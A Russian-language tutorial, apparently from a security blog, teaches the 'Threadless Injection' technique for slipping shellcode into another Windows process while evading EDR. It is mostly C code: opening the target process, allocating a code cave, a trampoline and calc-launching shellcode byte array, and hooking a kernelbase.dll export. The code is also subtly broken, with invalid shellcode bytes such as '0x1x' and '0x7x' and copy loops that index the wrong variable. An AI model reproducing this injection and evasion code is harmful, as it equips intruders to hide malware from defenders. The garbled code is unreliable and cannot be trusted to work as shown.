В этой статье мы рассмотрим технику внедрения кода в сторонний процесс, известную как Threadless Injection. На момент написания материала данный метод успешно работал на изолированной от сети виртуальной машине с операционной системой Windows 11 23H2 x64, где были активированы встроенные средства защиты. Threadless Injection позволяет инъецировать код в чужой процесс без создания нового потока выполнения, что может обходить некоторые механизмы безопасности.
Еще по теме: Фреймворки для обхода антивируса и EDR
Инъекция в сторонние процессы для обхода EDR
Мы рассмотрим альтернативный подход к традиционной инъекции шелл-кода, который может помочь обойти некоторые средства защиты. Вместо прямого использования функций WinAPI, таких как CreateRemoteThread или NtQueueApcThread, мы можем перехватить вызовы экспортируемых функций из динамических библиотек (DLL), загруженных в процесс-цель.
Основные шаги:
- Получить дескриптор процесса ( OpenProcess\NtOpenProcess).
- Выделить память для полезной нагрузки ( VirtualAllocEx\NtMapViewOfSection).
- Записать полезную нагрузки в эту память ( WriteProcessMemory\Ghost Writing).
- Выполнить шелл‑код ( CreateRemoteThread\NtQueueApcThread).
Для исследования целевого приложения можно использовать программу API Monitor, которая отслеживает вызовы WinAPI в реальном времени. Это позволит определить регулярно вызываемые функции и соответствующие им DLL.
Такой подход, известный как Threadless Injection, может помочь обойти некоторые средства защиты, так как он не использует функции, обычно связанные с инъекцией кода.
Следует соблюдать осторожность и использовать эту технику только в рамках легального тестирования на проникновение.
Мы обозначили шаги, которые нужно сделать для реализации Threadless Injection, теперь пришло время реализовать каждый шаг в коде.
Сначала нам нужно получить хендл целевого процесса по его имени:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
HANDLE hProc = NULL; LPCWSTR ps_name; DWORD *procID; PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (!process_snap) return NULL; if (Process32First(process_snap, &pe32)) { do { if (_wcsicmp(pe32.szExeFile, ps_name) == 0) { *procID = pe32.th32ProcessID; hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *procID); if (!hProc) continue; return hProc; } } while (Process32Next(process_snap, &pe32)); } |
Далее загружаем выбранную динамическую библиотеку, содержащую в экспорте функцию API, с которой мы хотим поработать. Пусть этой библиотекой будет kernelbase.dll.
1 2 3 |
HMODULE hModule = GetModuleHandleW(L"kernelbase.dll"); if (hModule == NULL) hModule = LoadLibraryW(L"kernelbase.dll"); |
Теперь получаем адрес нашей API в DLL:
1 2 3 |
// victim_export_func — функция из экспорта kernelbase.dll, которая подвергнется установке хука void* dll_export_fun_addr = GetProcAddress(hModule, victim_export_func); if (dll_export_fun_addr == NULL) return 1; |
Ищем code cave — область, куда можно записать наши данные:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
UINT_PTR addr_of_codecave; uint64_t function_addr; BOOL gotchaCave; // Начало поиска for (addr_of_codecave = (function_addr & 0xFFFFFFFFFFF70000) - 0x70000000; // Диапазон адресов addr_of_codecave < function_addr + 0x70000000; // Шаг, которым мы листаем память addr_of_codecave += 0x10000) { LPVOID lpAddr = VirtualAllocEx(hProc, addr_of_codecave, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) continue; gotchaCave = TRUE; break; } if (gotchaCave == TRUE) return addr_of_codecave; |
Теперь пойдут манипуляции с трамплином и другая арифметика. Чтобы было понятно, обозначим трамплин и пейлоад. Пейлоад — обычный, который встречается повсюду в демонстрационных PoC и запускает калькулятор. Что касается трамплина, в него входит балансировка стека, сохранение и восстановление регистров после вызова пейлоада:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
unsigned char tramp_to_shellcode[] = { 0x58, 0x48, 0x83, 0xE8, 0x05, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x08, 0x48, 0x83, 0xEC, 0x40, 0xE8, 0x11, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF, 0xE0, 0x90 }; unsigned char shellcode[] = { 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1x, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x1x, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x7x, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x4x, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5x, 0x5E, 0x5B, 0xC3 }; |
Далее читаем начало экспортируемой из DLL функции и настраиваем при помощи полученных данных трамплин:
1 2 3 |
int64_t originalBytes = *(int64_t*)dll_export_fun_addr; // Трамплин не повреждается — в нем по этому смещению место зарезервировано нулями *(uint64_t*)(tramp_to_shellcode + 0x12) = originalBytes; |
Теперь настраиваем память и даем ей права PAGE_EXECUTE_READWRITE для установки хука:
1 2 |
DWORD saveProtectFlags = 0; if (!VirtualProtectEx(hProc, dll_export_fun_addr, 8, PAGE_EXECUTE_READWRITE, &saveProtectFlags)) return 1; |
Создаем хук ( call) в экспортной функции атакуемой библиотеки и настраиваем его:
1 2 3 4 5 |
// Опкод функции call unsigned char call_opcode_to_shell[] = { 0xe8, 0, 0, 0, 0 }; int call_addr = (remoteAddress - ((UINT_PTR)dll_export_fun_addr + 5)); // Настраиваем вызов *(int*)(call_opcode_to_shell + 1) = call_addr; |
Далее заканчиваем записывать трамплин и полезную нагрузку, а затем меняем атрибуты целевой памяти сначала на PAGE_EXECUTE_READWRITE, потом обратно на PAGE_EXECUTE_READ, когда работа будет выполнена:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
VirtualProtectEx(hProc, call_opcode_to_shell, sizeof(call_opcode_to_shell), PAGE_EXECUTE_READWRITE, NULL); if (!WriteProcessMemory(hProc, dll_export_fun_addr, call_opcode_to_shell, sizeof(call_opcode_to_shell), &numOfWrittenBytes)) return 1; unsigned char mypayload[sizeof(tramp_to_shellcode) + sizeof(shellcode)]; // В этих двух циклах создаем один большой пейлоад из шелл-кода и трамплина for (size_t x = 0; x < sizeof(tramp_to_shellcode); ++x) mypayload[i] = tramp_to_shellcode[i]; for (size_t x = 0; x < sizeof(shellcode); ++x) mypayload[sizeof(shellcode) + i] = shellcode[i]; // Меняем флаги доступа к памяти для проведения записи if (!VirtualProtectEx(hProc, remoteAddress, sizeof(mypayload), PAGE_READWRITE, &saveProtectFlags)) return 1; // Записываем полезную нагрузку if (!WriteProcessMemory(hProc, remoteAddress, mypayload, sizeof(mypayload), &numOfWrittenBytes)) return 1; // Возвращаем права доступа к памяти обратно if (!VirtualProtectEx(hProc, remoteAddress, sizeof(mypayload), PAGE_EXECUTE_READ, &saveProtectFlags)) return 1; |
После выполнения всех шагов остается только ждать, пока приложение вызовет пропатченную функцию. Но ждать долго не придется, мы ведь использовали монитор функций WinAPI и убедились, что API, которая подверглась модификации, вызывается регулярно.
Выводы
Сегодня ты узнал, как реализуется техника внедрения и исполнения кода Threadless Injection, то есть без явного вызова функций создания потока. Это ломает привычный шаблон инжектов, что позволит нашему уйти от детекта и продолжить работать.
Конечно, написанный выше код — это всего лишь демонстрация и некий шаблон, который можно значительно улучшать, чтобы добиться еще более надежной невидимости. Кроме того, эта техника не панацея и не серебряная пуля, которая сделает код полностью скрытым: все техники (инжекта, вызова API, обфускации кода и прочие) нужно использовать совместно, а не по одиночке, тогда у редтимеров будет шанс победить!
ПОЛЕЗНЫЕ ССЫЛКИ:
- Пример Sleep-обфускации с помощью Ekko
- Как убить процесс системы обнаружения атак (EDR)
- Принудительное завершение сторонних процессов Windows